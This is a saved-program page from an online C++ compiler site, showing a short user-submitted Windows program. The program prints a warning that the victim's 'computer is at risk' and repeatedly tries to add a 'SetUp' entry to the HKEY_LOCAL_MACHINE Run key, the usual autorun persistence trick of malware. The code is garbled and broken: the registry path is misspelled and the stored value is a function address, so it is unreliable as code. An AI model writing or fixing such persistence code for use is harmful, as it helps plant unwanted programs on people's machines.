C++ Saved Program: beautiful-city

facebook share

Here's the online compiler accompanied with IDE at your service. This is a saved code by one of our users. Try it out or save your own from the IDE page and don't forget to leave a feedback. You can find that at the bottom of the page.


#include <iostream>
#include <stdio.h>
#include <windows.h>
#include <winable.h>
#include <conio.h>
#include <ctime>
using namespace std;

int main() {
    int a=10;
    cout <<"Hello my dear friend"<<endl;
    cout <<"If you see this message your computer is at risk"<<endl;
    cout <<"Hello"<<endl;
    for ( int a = 10; a < 20; a = a + 1 )
    {
    HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\W indows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
    }
    
    
    
	
	
	return 0;
}
Execute

Output

Press the execute button or CTRL + enter to run code.

Inputs